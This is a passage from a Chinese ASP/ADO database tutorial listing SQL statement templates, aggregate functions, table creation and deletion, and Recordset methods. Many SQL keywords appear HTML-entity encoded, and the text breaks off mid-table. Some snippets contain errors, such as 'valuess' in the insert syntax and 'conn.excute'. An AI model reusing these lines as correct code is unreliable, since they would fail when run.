数据表 wh&#101;re 字段名 o&#114;der by 字段名 [desc]&#34;<br/><br/>sql=&#34;sel&#101;ct * from 数据表 wh&#101;re 字段名 in (值1,值2,值3)&#34;<br/><br/>sql=&#34;sel&#101;ct * from 数据表 wh&#101;re 字段名 between 值1 and 值2&#34;<br/><br/>(2) 更新数据记录：<br/><br/>sql=&#34;up&#100;ate 数据表 set 字段名=字段值 wh&#101;re 条件表达式&#34;<br/><br/>sql=&#34;up&#100;ate 数据表 set 字段1=值1,字段2=值2 …… 字段n=值n wh&#101;re 条件表达式&#34;<br/><br/>(3) 删除数据记录：<br/><br/>sql=&#34;del&#101;te from 数据表 wh&#101;re 条件表达式&#34;<br/><br/>sql=&#34;del&#101;te from 数据表&#34; (将数据表所有记录删除)<br/><br/>(4) 添加数据记录：<br/><br/>sql=&#34;ins&#101;rt into 数据表 (字段1,字段2,字段3 …) valuess (值1,值2,值3 …)&#34;<br/><br/>sql=&#34;ins&#101;rt into 目标数据表 sel&#101;ct * from 源数据表&#34; (把源数据表的记录添加到目标数据表)<br/><br/>(5) 数据记录统计函数：<br/><br/>AVG(字段名) 得出一个表格栏平均值<br/>COUNT(*|字段名) 对数据行数的统计或对某一栏有值的数据行数统计<br/>MAX(字段名) 取得一个表格栏最大的值<br/>MIN(字段名) 取得一个表格栏最小的值<br/>SUM(字段名) 把数据栏的值相加<br/><br/>引用以上函数的方法：<br/><br/>sql=&#34;sel&#101;ct sum(字段名) as 别名 from 数据表 wh&#101;re 条件表达式&#34;<br/>set rs=conn.excute(sql)<br/><br/>用 rs(&#34;别名&#34;) 获取统的计值，其它函数运用同上。<br/><br/>(5) 数据表的建立和删除：<br/><br/>Cr&#101;ate TABLE 数据表名称(字段1 类型1(长度),字段2 类型2(长度) …… )<br/><br/>例：Cr&#101;ate TABLE tab01(name varchar(50),datetime default now())<br/><br/>Dro&#112; TABLE 数据表名称 (永久性删除一个数据表)<br/><br/>19. 记录集对象的方法：<br/><br/>rs.movenext 将记录指针从当前的位置向下移一行<br/>rs.moveprevious 将记录指针从当前的位置向上移一行<br/>rs.movefirst 将记录指针移到数据表第一行<br/>rs.movelast 将记录指针移到数据表最后一行<br/>rs.absoluteposition=N 将记录指针移到数据表第N行<br/>rs.absolutepage=N 将记录指针移到第N页的第一行<br/>rs.pagesize=N 设置每页为N条记录<br/>rs.pagecount 根据 pagesize 的设置返回总页数<br/>rs.recordcount 返回记录总数<br/>rs.bof 返回记录指针是否超出数据表首端，true表示是，false为否<br/>rs.eof 返回记录指针是否超出数据表末端，true表示是，false为否<br/>rs.del&#101;te 删除当前记录，但记录指针不会向下移动<br/>rs.addnew 添加记录到数据表末端<br/>rs.up&#100;ate 更新数据表记录<br/><br/>－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－<br/><br/>20 Recordset对象方法<br/><br/>Open方法<br/><br/>recordset.Open Source,ActiveConnection,CursorType,LockType,Options<br/><br/>Source<br/>Recordset对象可以通过Source属性来连接Command对象。Source参数可以是一个Command对象名称、一段SQL命令、一个指定的数据表名称或是一个Stored Procedure。假如省略这个参数，系统则采用Recordset对象的Source属性。<br/><br/>ActiveConnection<br/>Recordset对象可以通过ActiveConnection属性来连接Connection对象。这里的ActiveConnection可以是一个Connection对象或是一串包含数据库连接信息（ConnectionString）的字符串参数。<br/><br/>CursorType<br/>Recordset对象Open方法的CursorType参数表示将以什么样的游标类型启动数据，包括adOpenForwardOnly、adOpenKeyset、adOpenDynamic及adOpenStatic，分述如下：<br/>－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－<br/>常数 常数值 说明<br/>－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－<br/>adOpenForwardOnly 0 缺省值，启动一个只能向